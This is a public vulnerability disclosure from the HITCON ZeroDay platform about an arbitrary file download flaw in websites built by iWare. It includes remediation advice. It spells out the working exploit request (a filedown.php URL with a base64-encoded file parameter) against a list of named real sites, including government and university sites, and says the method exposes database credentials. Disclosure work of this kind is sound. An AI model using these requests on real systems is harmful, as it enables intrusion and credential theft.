iWare網站設計與其設計網站 任意檔案下載 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2024-01106
  •  發信 Vendor: 馬亞科技股份有限公司
  • Title: iWare網站設計與其設計網站 任意檔案下載
  • Introduction: 任意檔案下載

處理狀態

目前狀態

公開
Last Update : 2024/11/14
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2024/09/14 21:19:54 : 新提交 (由 {{萌新}} 更新此狀態)
  • 2024/09/14 21:23:20 : 新提交 (由 {{萌新}} 更新此狀態)
  • 2024/09/14 21:24:53 : 新提交 (由 {{萌新}} 更新此狀態)
  • 2024/09/16 14:34:25 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/10/04 18:07:02 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/10/04 18:07:02 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/10/04 18:07:02 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/11/14 03:00:12 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2024-01106
  • 通報者:nhd1261 ({{萌新}})
  • 風險:高
  • 類型:任意檔案下載 (Arbitrary File Download)

參考資料

攻擊者可經由該漏洞取得後端系統中的任意資料(包含主機之敏感檔案)。

OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control

OWASP Top 10 - 2013 A4 - Insecure Direct Object References
https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References

CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html

OWASP - Path Traversal 及防禦方式
https://www.owasp.org/index.php/Path_Traversal

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
https://cwe.mitre.org/data/definitions/22.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

iWare網站設計
https://www.iware.com.tw/filedown.php?file=index.php&site=aW5kZXgucGhw
社團法人臺灣職能治療學會
https://www.ot.org.tw/filedown.php?file=index.php&site=aW5kZXgucGhw
威速登科技
https://www.awayspeed.com/filedown.php?file=index.php&site=aW5kZXgucGhw
美兆診所
https://www.mjclinic.com.tw/filedown.php?file=index.php&site=aW5kZXgucGhw
金安德森 Kinloch Anderson
https://www.kinlochanderson.com.tw/filedown.php?file=index.php&site=aW5kZXgucGhw
來頡科技股份有限公司
https://www.m3tekic.com/filedown.php?file=index.php&site=aW5kZXgucGhw
三維工程顧問股份有限公司
https://www.dddmove.com.tw/filedown.php?file=index.php&site=aW5kZXgucGhw
大苑藝術會展有限公司
https://www.art-formosa.com/filedown.php?file=index.php&site=aW5kZXgucGhw
All Aboard English Academy
https://www.allaboardenglish.com/filedown.php?file=index.php&site=aW5kZXgucGhw
社團法人中華民國職能治療師公會全國聯合會
https://www.oturoc.org.tw/filedown.php?file=index.php&site=aW5kZXgucGhw
毛孩食務所
https://www.forhairy.com/filedown.php?file=index.php&site=aW5kZXgucGhw
中央研究院環境變遷中心
https://rcec.sinica.edu.tw/filedown.php?file=index.php&site=aW5kZXgucGhw
臺北醫學大學人文暨社會科學院
https://chsseng.tmu.edu.tw/filedown.php?file=index.php&site=aW5kZXgucGhw
臺北醫學大學醫學人文研究所
https://medhuman.tmu.edu.tw/filedown.php?file=index.php&site=aW5kZXgucGhw
國家林產技術平台
https://www.cwcba-wqac.org.tw/forest-tech/filedown.php?file=index.php&site=aW5kZXgucGhw
臺北醫學大學-醫療暨生物科技法律研究所
https://medlaw.tmu.edu.tw/filedown.php?file=index.php&site=aW5kZXgucGhw
新北市毒品防治辦公室
https://drugfree.ntpc.gov.tw/filedown.php?file=index.php&site=aW5kZXgucGhw
臺北醫學大學事業發展處
https://bd.tmu.edu.tw/filedown.php?file=index.php&site=aW5kZXgucGhw
臺灣介入性心臟血管醫學會官網
https://www.tscimd.org.tw/filedown.php?file=index.php&site=aW5kZXgucGhw
......
此公司設計網站眾多難以一一測試,挑幾個比較重要的出來。

敘述

ZD-2024-01100、ZD-2024-01102、ZD-2024-01104、ZD-2024-01105等多個網站發現相同漏洞,並網站架構相似,查詢後發現是同一公司設計,進一步測試發現此公司所設計的網站,有部份網站有此漏洞,透過網址後方添加/filedown.php?file=index.php&site=aW5kZXgucGhw嘗試下載index.php測試,可以以同樣方法獲取含有資料庫帳密的腳本。
因此公司設計網站眾多,難以一一測試,故挑選部分較重要的網站測試,其中有漏洞的網站包括教育機構、政府網站。

修補建議

驗證使用者輸入:
確保site參數的值是經過嚴格驗證和篩選的。避免直接使用使用者提供的輸入來建立檔案路徑。可以使用白名單機制,只允許預先定義的檔案路徑或檔案名稱。

限製檔案存取權限:
限制 filedown.php只允許下載特定的文件,避免對敏感文件的存取。可以在伺服器上設定檔案存取權限,防止使用者存取不應暴露的檔案。

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;